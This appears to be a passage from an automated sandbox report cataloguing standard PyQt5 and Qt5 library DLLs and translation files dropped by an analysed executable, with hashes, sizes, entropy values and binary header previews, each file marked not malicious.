Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............t..t..t....t.A.p..t.A.w..t.A.q..t.A.u..t.u..t..u..t...q..t...t..t......t.....t...v..t.Rich..t.........PE..d....._.........." ......&.........L.&.......................................3.......3...`..........................................0..]....0.......3.P.....1.L.....3.......3..;...},.T...................P.,.(... ~,.0.............'..............................text...o.&.......&................. ..`.rdata........'.......&.............@..@.data.........1.......0.............@....pdata..L.....1.......1.............@..@.rsrc...P.....3......J3.............@..@.reloc...;....3..<...P3.............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\opengl32sw.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20923392
Entropy (8bit):	6.255903817217008
Encrypted:	false
SSDEEP:	393216:LIckHor5uLnn83wAP5hxOZEa7/LzRuDFqILn5LgcKyZyQXt+8M:yEZbv
MD5:	7DBC97BFEE0C7AC89DA8D0C770C977B6
SHA1:	A064C8D8967AAA4ADA29BD9FEFBE40405360412C
SHA-256:	963641A718F9CAE2705D5299EAE9B7444E84E72AB3BEF96A691510DD05FA1DA4
SHA-512:	286997501E1F5CE236C041DCB1A225B4E01C0F7C523C18E9835507A15C0AC53C4D50F74F94822125A7851FE2CB2FB72F84311A2259A5A50DCE6F56BA05D1D7E8
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[.@..............'.......'.......'..[...........\|.-.....\|.+....\|..<....'......../.....q.*.....q.+....q.&.^...q.......q.,.....Rich............PE..d....._W.........." .....(....b.....\|&....................................... E...........`.........................................0.1.t.....1...............9.`n............C..k.. . .T..................... .(..... ..............@...............................text...T&.......(.................. ..`.rdata..XvO..@...xO..,..............@..@.data....;....1.......1.............@....pdata..`n....9..p...D3.............@..@.gfids.......pC.......=.............@..@.tls..........C.......=.............@..._RDATA........C.......=.............@..@.reloc...k....C..l....=.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\generic\qtuiotouchplugin.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68080
Entropy (8bit):	6.207162014262433
Encrypted:	false
SSDEEP:	1536:mQ4IT53ign4CbtlO705xWL3frA5rlhgQJ7tapgUff:mLIT53Hbtk70OLs3hg0Cz
MD5:	750A31DE7840B5EED8BA14C1BD84D348
SHA1:	D345D13B0C303B7094D1C438E49F0046791DE7F6
SHA-256:	A9BFFB0F3CD69CD775C328C916E46440FE80D99119FAEBC350C7EC51E3E57C41
SHA-512:	5C0A68ED27A9F1BBFF104942152E475C94BB64B03CE252EAAC1A6770E24DC4156CE4ADE99EBCD92662801262DED892C33F84C605AD84472B45A83C4883D5E767
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............h..h..h...s.h..]...h.....h..]...h..]...h..]...h......h..h..&h......h......h......h......h..Rich.h..................PE..d...X._.........." .........b......$........................................@......{v....`......................................... ................ ..X....................0......H...T......................(.......0............................................text............................... ..`.rdata...E.......F..................@..@.data...............................@....pdata..............................@..@.qtmetadi...........................@..P.rsrc...X.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\iconengines\qsvgicon.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	41968
Entropy (8bit):	6.0993566622860635
Encrypted:	false
SSDEEP:	768:VPs5g31JfDgej5JZmA0ZsEEC6lmn+4FdDGimUf2hr:VkC31ee7ZmA+sEEC6lmn+4FOUfc
MD5:	313F89994F3FEA8F67A48EE13359F4BA
SHA1:	8C7D4509A0CAA1164CC9415F44735B885A2F3270
SHA-256:	42DDE60BEFCF1D9F96B8366A9988626B97D7D0D829EBEA32F756D6ECD9EA99A8
SHA-512:	06E5026F5DB929F242104A503F0D501A9C1DC92973DD0E91D2DAF5B277D190082DE8D37ACE7EDF643C70AA98BB3D670DEFE04CE89B483DA4F34E629F8ED5FECF
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n.:..i..i..i#.Ei...i...h(..i>..h(..i...h8..i...h-..i...h(..i...h-..i..i...i...h(..i...h+..i..)i+..i...h+..iRich*..i........................PE..d......_.........." .....@...F.......F..............................................C.....`..........................................g..x...hh..........H...........................xX..T....................Z..(....X..0............P...............................text....>.......@.................. ..`.rdata...3...P...4...D..............@..@.data................x..............@....pdata...............z..............@..@.qtmetadj...........................@..P.rsrc...H...........................@..@.reloc..............................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qgif.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39408
Entropy (8bit):	6.0316011626259405
Encrypted:	false
SSDEEP:	768:ygk2hM0GskFtvPCjEIxh8eDzFyPddeeGvnhotdDGPUf2he:yN2a05kfPOEMaeDzFkddeFnhotOUfh
MD5:	52FD90E34FE8DED8E197B532BD622EF7
SHA1:	834E280E00BAE48A9E509A7DC909BEA3169BDCE2
SHA-256:	36174DD4C5F37C5F065C7A26E0AC65C4C3A41FDC0416882AF856A23A5D03BB9D
SHA-512:	EF3FB3770808B3690C11A18316B0C1C56C80198C1B1910E8AA198DF8281BA4E13DC9A6179BB93A379AD849304F6BB934F23E6BBD3D258B274CC31856DE0FC12B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........R...3..3..3..KA.3..o\..3..X..3..o\..3..o\..3..o\..3.."C..3..3...3.."C..3.."C..3.."C-.3.."C..3..Rich.3..........PE..d...H._.........." .....@...B.......E...............................................^....`..........................................f..t....f..........@............~..............HW..T....................X..(....W..0............P...............................text...k?.......@.................. ..`.rdata..&)...P...*...D..............@..@.data...(............n..............@....pdata...............p..............@..@.qtmetads............v..............@..P.rsrc...@............x..............@..@.reloc...............\|..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qicns.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45040
Entropy (8bit):	6.016125225197622
Encrypted:	false
SSDEEP:	768:vEip0IlhxTDxut3dnm8IyAmQQ3ydJouEAkNypTAO0tfC3apmsdDG9Uf2hU:vxvXxgVIyA23ydJlEATpTAO0tfCKpms/
MD5:	AD84AF4D585643FF94BFA6DE672B3284
SHA1:	5D2DF51028FBEB7F6B52C02ADD702BC3FA781E08
SHA-256:	F4A229A082D16F80016F366156A2B951550F1E9DF6D4177323BBEDD92A429909
SHA-512:	B68D83A4A1928EB3390DEB9340CB27B8A3EB221C2E0BE86211EF318B4DD34B37531CA347C73CCE79A640C5B06FBD325E10F8C37E0CEE2581F22ABFBFF5CC0D55
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................a....Q........Q......Q......Q......................................Rich...........PE..d......_.........." .....B...N.......G...............................................&....`.............................................t...$...........@...........................xp..T....................r..(....p..0............`...............................text....@.......B.................. ..`.rdata...9...`...:...F..............@..@.data...............................@....pdata..............................@..@.qtmetadx...........................@..P.rsrc...@...........................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qico.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38384
Entropy (8bit):	5.957072398645384
Encrypted:	false
SSDEEP:	768:zBXBEfQiAzC9Oh5AS7a3Z5OGrTDeV9mp7nnsWdDGgYUf2hi/:8JAzuOhy3zOGrTDeV9mp7nnsWjYUfz
MD5:	A9ABD4329CA364D4F430EDDCB471BE59
SHA1:	C00A629419509929507A05AEBB706562C837E337
SHA-256:	1982A635DB9652304131C9C6FF9A693E70241600D2EF22B354962AA37997DE0B
SHA-512:	004EA8AE07C1A18B0B461A069409E4061D90401C8555DD23DBF164A08E96732F7126305134BFAF8B65B0406315F218E05B5F0F00BEDB840FB993D648CE996756
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u.G...G...G...N...C......E...S...E......R......O......D.......B...G...........D.......F.......F.......F...RichG...................PE..d...H._.........." .....4...H.......9....................................................`..........................................h..t...th..........@............z..............(X..T....................Y..(....X..0............P..8............................text....2.......4.................. ..`.rdata..B/...P...0...8..............@..@.data...h............h..............@....pdata...............l..............@..@.qtmetad.............r..............@..P.rsrc...@............t..............@..@.reloc...............x..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qjpeg.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	421360
Entropy (8bit):	5.7491063936821405
Encrypted:	false
SSDEEP:	6144:USgOWz1eW38u9tyh6fpGUasBKTrsXWwMmH1l3JM5hn0uEfB4:USPQTnastBRB4
MD5:	16ABCCEB70BA20E73858E8F1912C05CD
SHA1:	4B3A32B166AB5BBBEE229790FDAE9CBC84F936BA
SHA-256:	FB4E980CB5FAFA8A4CD4239329AED93F7C32ED939C94B61FB2DF657F3C6AD158
SHA-512:	3E5C83967BF31C9B7F1720059DD51AA4338E518B076B0461541C781B076135E9CB9CBCEB13A8EC9217104517FBCC356BDD3FFACA7956D1C939E43988151F6273
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Iv"...L...L...L..o....L..xM...L..\|M...L.......L..xI...L..xH...L..xO...L..gM...L...M...L..gH.?.L..gI...L..gL...L..g....L..gN...L.Rich..L.........PE..d...o._.........." .....b...........i...............................................g....`.............................................t...............@....`.......R..............h...T.......................(.......0...............@............................text....`.......b.................. ..`.rdata..J............f..............@..@.data...8....P.......(..............@....pdata.......`... ...*..............@..@.qtmetad.............J..............@..P.rsrc...@............L..............@..@.reloc...............P..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qsvg.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32240
Entropy (8bit):	5.978149408776758
Encrypted:	false
SSDEEP:	768:uOVKDlJJVlTuLiMtsKVG7TSdDG9Uf2h4e:hVgJVlTuL/tsKVG7TSQUfre
MD5:	C0DE135782FA0235A0EA8E97898EAF2A
SHA1:	FCF5FD99239BF4E0B17B128B0EBEC144C7A17DE2
SHA-256:	B3498F0A10AC4CB42CF7213DB4944A34594FF36C78C50A0F249C9085D1B1FF39
SHA-512:	7BD5F90CCAB3CF50C55EAF14F7EF21E05D3C893FA7AC9846C6CA98D6E6D177263AC5EB8A85A34501BCFCA0DA7F0B6C39769726F4090FCA2231EE64869B81CF0B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........x>...P...P...P..a...P.&vQ...P..rQ...P.&vU...P.&vT...P.&vS...P.kiQ...P...Q.n.P.kiU...P.kiP...P.ki....P.kiR...P.Rich..P.........PE..d......_.........." .....$...B......D)....................................................`.........................................PU..t....U..........@............b...............G..T....................I..(...PH..0............@..(............................text....".......$.................. ..`.rdata...+...@...,...(..............@..@.data...8....p.......T..............@....pdata...............V..............@..@.qtmetad.............Z..............@..P.rsrc...@............\..............@..@.reloc...............`..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qtga.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31728
Entropy (8bit):	5.865766652452823
Encrypted:	false
SSDEEP:	768:1lGALluUEAQATWQ79Z2Y8Ar+dDG2vUf2hF:TZl/EH8WQ794Y8Ar+hvUfm
MD5:	A913276FA25D2E6FD999940454C23093
SHA1:	785B7BC7110218EC0E659C0E5ACE9520AA451615
SHA-256:	5B641DEC81AEC1CF7AC0CCE9FC067BB642FBD32DA138A36E3BDAC3BB5B36C37A
SHA-512:	CEBE48E6E6C5CDF8FC339560751813B8DE11D2471A3DAB7D648DF5B313D85735889D4E704E8EEC0AD1084AB43BE0EBDFBACD038AEAC46D7A951EFB3A7CE838EB
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........F ._'N._'N._'N.V_.Y'N..HO.]'N.KLO.]'N..HK.M'N..HJ.W'N..HM.\'N..WO.Z'N._'O.4'N..WK.\'N..WN.^'N..W..^'N..WL.^'N.Rich_'N.........................PE..d......_.........." ....."...@.......'..............................................7.....`..........................................W..t...dX..........@.......`....`..............(I..T....................J..(....I..0............@..h............................text...[!.......".................. ..`.rdata...)...@...*...&..............@..@.data........p.......P..............@....pdata..`............T..............@..@.qtmetadu............X..............@..P.rsrc...@............Z..............@..@.reloc...............^..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qtiff.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	390128
Entropy (8bit):	5.724665470266677
Encrypted:	false
SSDEEP:	6144:V0jqHiFBaRe0GPAKwP15e7xrEEEEEEN024Rx/3tkYiHUASQbs/l7OanYoOgyV:0qqwP15bx/q7/yyV
MD5:	9C0ACF12D3D25384868DCD81C787F382
SHA1:	C6E877ABA3FB3D2F21D86BE300E753E23BB0B74E
SHA-256:	825174429CED6B3DAB18115DBC6C9DA07BF5248C86EC1BD5C0DCAECA93B4C22D
SHA-512:	45594FA3C5D7C4F26325927BB8D51B0B88E162E3F5E7B7F39A5D72437606383E9FDC8F83A77F814E45AFF254914514AE52C1D840A6C7B98767F362ED3F4FC5BD
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................E....q............q......q......q......<.............<......<......<......<.)....<......Rich....................PE..d......_.........." .....(..........D-.......................................0............`.............................................t...4...........@........%........... ..(....d..T................... f..(....d..0............@..0............................text....&.......(.................. ..`.rdata...v...@...x...,..............@..@.data...(...........................@....pdata...%.......&..................@..@.qtmetad............................@..P.rsrc...@...........................@..@.reloc..(.... ......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qwbmp.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30192
Entropy (8bit):	5.938644231596902
Encrypted:	false
SSDEEP:	768:EfEM3S46JE2X/xBZ76pC5J6GdDGZUf2h4:63S3JE2PHZ76pC5J6GEUfn
MD5:	68919381E3C64E956D05863339F5C68C
SHA1:	CE0A2AD1F1A46B61CB298CEC5AA0B25FF2C12992
SHA-256:	0F05969FB926A62A338782B32446EA3E28E4BFBFFC0DBD25ED303FAB3404ABAC
SHA-512:	6222A3818157F6BCD793291A6C0380EF8C6B93ECEA2E0C9A767D9D9163461B541AFAF8C6B21C5A020F01C95C6EE9B2B74B358BA18DA120F520E87E24B20836AA
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........]...<.I.<.I.<.I.D%I.<.I.S.H.<.I.W.H.<.I.S.H.<.I.S.H.<.I.S.H.<.IYL.H.<.I.<.I.<.IYL.H.<.IYL.H.<.IYLII.<.IYL.H.<.IRich.<.I........PE..d......_.........." ..... ...8.......'....................................................`......................................... D..t....D..........@....p..T....Z...............6..T...................p8..(...@7..0............0..p............................text............ .................. ..`.rdata..d&...0...(...$..............@..@.data........`.......L..............@....pdata..T....p.......N..............@..@.qtmetad~............R..............@..P.rsrc...@............T..............@..@.reloc...............X..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qwebp.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	510448
Entropy (8bit):	6.605517748735854
Encrypted:	false
SSDEEP:	12288:bPTjgdqdsvh+LrLrLrL5/y4DVHAsqx3hXS+oPZQqRaYG:jT5sMLrLrLrL5q4dAsaOFo
MD5:	308E4565C3C5646F9ABD77885B07358E
SHA1:	71CB8047A9EF0CDB3EE27428726CACD063BB95B7
SHA-256:	6E37ACD0D357871F92B7FDE7206C904C734CAA02F94544DF646957DF8C4987AF
SHA-512:	FFAEECFAE097D5E9D1186522BD8D29C95CE48B87583624EB6D0D52BD19E36DB2860A557E19F0A05847458605A9A540C2A9899D53D36A6B7FD5BF0AD86AF88124
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................a....s........s......s......s....>.........>......>.....>....>......>....Rich...................PE..d......_.........." .....B..........tH.......................................0......`q....`..........................................W..t....W..........@.......0H........... ......h...T.......................(.......0............`...............................text...[@.......B.................. ..`.rdata..J....`.......F..............@..@.data....'...........X..............@....pdata..0H.......J...\..............@..@.qtmetadv...........................@..P.rsrc...@...........................@..@.reloc....... ......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qminimal.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	844784
Entropy (8bit):	6.625808732261156
Encrypted:	false
SSDEEP:	12288:y6MhioHKQ1ra8HT+bkMY8zKI4kwU7dFOTTYfEWmTxbwTlWc:BMhioHKQp+bkjAjwGdFSZtbwBd
MD5:	2F6D88F8EC3047DEAF174002228219AB
SHA1:	EB7242BB0FE74EA78A17D39C76310A7CDD1603A8
SHA-256:	05D1E7364DD2A672DF3CA44DD6FD85BED3D3DC239DCFE29BFB464F10B4DAA628
SHA-512:	0A895BA11C81AF14B5BD1A04A450D6DCCA531063307C9EF076E9C47BD15F4438837C5D425CAEE2150F3259691F971D6EE61154748D06D29E4E77DA3110053B54
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#\..B2..B2..B2..:...B2..-3..B2.F....B2..-7..B2..-6..B2..-1..B2..)6..B2.^23..B2..)3..B2..B3.@2.^26..B2.^27..B2.^22..B2.^2...B2.^20..B2.Rich.B2.........PE..d...N._.........." ......................................................... ............`......................................... ...x.......@.......H....`..H.......................T.......................(.......0...............(............................text...;........................... ..`.rdata...C.......D..................@..@.data...H....@......."..............@....pdata..H....`.......0..............@..@.qtmetad............................@..P.rsrc...H...........................@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qoffscreen.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	754672
Entropy (8bit):	6.6323155845799695
Encrypted:	false
SSDEEP:	12288:/HpBmyVIRZ3Tck83vEgex5aebusGMIlhLfEWmpCJkl:/HpB63TckUcLaHMITAZmW
MD5:	6407499918557594916C6AB1FFEF1E99
SHA1:	5A57C6B3FFD51FC5688D5A28436AD2C2E70D3976
SHA-256:	54097626FAAE718A4BC8E436C85B4DED8F8FB7051B2B9563A29AEE4ED5C32B7B
SHA-512:	8E8ABB563A508E7E75241B9720A0E7AE9C1A59DD23788C74E4ED32A028721F56546792D6CCA326F3D6AA0A62FDEDC63BF41B8B74187215CD3B26439F40233F4D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m..T..KT..KT..K]t7K@..K.c.JV..K@g.JV..K.cKU..K.c.JA..K.c.J\..K.c.JP..K.\|.JQ..KT..K...K.\|.Js..K.\|.JS..K.\|.JU..K.\|[KU..K.\|.JU..KRichT..K........PE..d...R._.........." ................L.....................................................`.............................................x...8...........H....... s...h..........p.......T................... ...(.......0...............@............................text............................... ..`.rdata..............................@..@.data...............................@....pdata.. s.......t..................@..@.qtmetad.............T..............@..P.rsrc...H............V..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qwebgl.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	482288
Entropy (8bit):	6.152380961313931
Encrypted:	false
SSDEEP:	6144:WO/vyK+DtyaHlIMDhg5WEOvAwKB2VaaHeqRw/yVfYu4UnCA6DEjeYchcD+1Zy2:bKtHOWg5OvAwK0NYu4AShcD+1U2
MD5:	1EDCB08C16D30516483A4CBB7D81E062
SHA1:	4760915F1B90194760100304B8469A3B2E97E2BC
SHA-256:	9C3B2FA2383EEED92BB5810BDCF893AE30FA654A30B453AB2E49A95E1CCF1631
SHA-512:	0A923495210B2DC6EB1ACEDAF76D57B07D72D56108FD718BD0368D2C2E78AE7AC848B90D90C8393320A3D800A38E87796965AFD84DA8C1DF6C6B244D533F0F39
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........gM..#...#...#..~....#.ei&...#.ei'...#.ei ...#..m'...#.ei"...#.(v"...#..m"...#..."...#.(v&...#.(v#...#.(v...#.(v!...#.Rich..#.................PE..d......_.........." .....R...........;....................................................`..........................................m..t...Dn..T.......@....@...=...@..............0...T.......................(.......0............p..(............................text...{Q.......R.................. ..`.rdata..:....p.......V..............@..@.data...H....0......................@....pdata...=...@...>..................@..@.qtmetadz............2..............@..P.rsrc...@............4..............@..@.reloc...............8..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qwindows.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1477104
Entropy (8bit):	6.575113537540671
Encrypted:	false
SSDEEP:	24576:4mCSPJrAbXEEuV9Hw2SoYFo3HdxjEgqJkLdLu5qpmZuhg/A2b:nPlIEEuV9Hw2SFFWHdWZsdmqja/A2b
MD5:	4931FCD0E86C4D4F83128DC74E01EAAD
SHA1:	AC1D0242D36896D4DDA53B95812F11692E87D8DF
SHA-256:	3333BA244C97264E3BD19DB5953EFA80A6E47AACED9D337AC3287EC718162B85
SHA-512:	0396BCCDA43856950AFE4E7B16E0F95D4D48B87473DC90CF029E6DDFD0777E1192C307CFE424EAE6FB61C1B479F0BA1EF1E4269A69C843311A37252CF817D84D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......i...-...-...-...$.%.9.....q.,......8......%......)......+...9......9..,......)..........9..8...-..........d......,.....I.,......,...Rich-...........PE..d....._.........." .....,...h......4+..............................................n.....`.............................................x...(...........H............n..........X....r..T...................Pt..(... s..0............@...5...........................text..._+.......,.................. ..`.rdata.......@.......0..............@..@.data....m...@...D...(..............@....pdata...............l..............@..@.qtmetad.............J..............@..P.rsrc...H............L..............@..@.reloc..X............P..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platformthemes\qxdgdesktopportal.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68592
Entropy (8bit):	6.125954940500008
Encrypted:	false
SSDEEP:	1536:Nt4B1RLj3S6TtH2sweUH+Hz6/4+D6VFsfvUfO:AB1RHFdoeUs6/4O6VFSZ
MD5:	F66F6E9EDA956F72E3BB113407035E61
SHA1:	97328524DA8E82F5F92878F1C0421B38ECEC1E6C
SHA-256:	E23FBC1BEC6CEEDFA9FD305606A460D9CAC5D43A66D19C0DE36E27632FDDD952
SHA-512:	7FF76E83C8D82016AB6BD349F10405F30DEEBE97E8347C6762EB71A40009F9A2978A0D8D0C054CF7A3D2D377563F6A21B97DDEFD50A9AC932D43CC124D7C4918
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+...o...o...o...f...k......m...{..m......~......h......m......h...o..........k......n.....~.n......n...Richo...........................PE..d...V._.........." .....z...t......T........................................@.......b....`......................................... ................ ..X....................0..4.......T.......................(...p...0...............x............................text....y.......z.................. ..`.rdata...Z.......\...~..............@..@.data...............................@....pdata..............................@..@.qtmetad............................@..P.rsrc...X.... ......................@..@.reloc..4....0......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\styles\qwindowsvistastyle.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	144368
Entropy (8bit):	6.294675868932723
Encrypted:	false
SSDEEP:	3072:rrjwZ43rCOtrBk7wcR0l7wBlaL6BtIEt51T0Nhkqg8FoQY:7hZu9R0l7wFBtIEt51T0Nuqg8JY
MD5:	53A85F51054B7D58D8AD7C36975ACB96
SHA1:	893A757CA01472A96FB913D436AA9F8CFB2A297F
SHA-256:	D9B21182952682FE7BA63AF1DF24E23ACE592C35B3F31ECEEF9F0EABEB5881B9
SHA-512:	35957964213B41F1F21B860B03458404FBF11DAF03D102FBEA8C2B2F249050CEFBB348EDC3F22D8ECC3CB8ABFDC44215C2DC9DA029B4F93A7F40197BD0C16960
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R._...1]..1]..1]..]..1]..0\..1]..5\..1]..2\..1]..4\..1]..0\..1]..0\..1]..0]..1]..4\..1]..1\..1]...]..1]..3\..1]Rich..1]........................PE..d...`._.........." .....\...........`.......................................`......wJ....`................................................. ........@..X.... ...............P.........T...................`...(...0...0............p...............................text....Z.......\.................. ..`.rdata......p.......`..............@..@.data...............................@....pdata....... ......................@..@.qtmetadm....0......................@..P.rsrc...X....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_ar.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	130
Entropy (8bit):	4.024232093209084
Encrypted:	false
SSDEEP:	3:j2wZC4C/2/vlAlHekW3/S1MUe3/CLlI+rwtbWlMrNtYs8ar/u:Cwm+/PtUePCRIRt6Ygs8y/u
MD5:	8FF05B56C0995F90A80B7064AA6E915C
SHA1:	D5AEB09AE557CEEFB758972EC4AC624CDDC9E6A7
SHA-256:	A8A1B0D6F958E7366D1C856BE61000106D3E7FC993FB931675369892B9002D0B
SHA-512:	5374E0F1D3F5A6A456B00732DE8005787B17ECEF9C8A2B2C1228966A6A8DE211700334D8FD789DAD269F52D0AEED3F5160010CA60909861E270C253B3EA881A4
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ar....R.....q.t.b.a.s.e._.a.r.....q.t.s.c.r.i.p.t._.a.r.....q.t.m.u.l.t.i.m.e.d.i.a._.a.r..............$...*.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_bg.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6813848812976975
Encrypted:	false
SSDEEP:	3:j2wZC4C/6lLlAlHekVYtzlY1MUdI7lULlI+rwtbWlMoIFl8IPldkO4t/z:CwDC+7tJjUWhURIRt68f8oiP1z
MD5:	466EED6C184D2055488D4C5EA9AE5F20
SHA1:	8599AB9B731BFC84F6EEC7A0129F396FB8FEC4EA
SHA-256:	9E1CE4D91852352043D9191F1A992838F919CBA7E2F2D9BB1161E494E8BF5F5E
SHA-512:	D2462951EC7DCE3D0851AE9C4ED644FFE0D2A5BDD15B4AE1A4295C187B4295BC854D6A5038DAC0564D165463419D615EB6CE7A9760CEFAD71AB673FB2109C349
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......bg....v.....q.t.b.a.s.e._.b.g.....q.t.s.c.r.i.p.t._.b.g.....q.t.m.u.l.t.i.m.e.d.i.a._.b.g... .q.t.x.m.l.p.a.t.t.e.r.n.s._.b.g.......

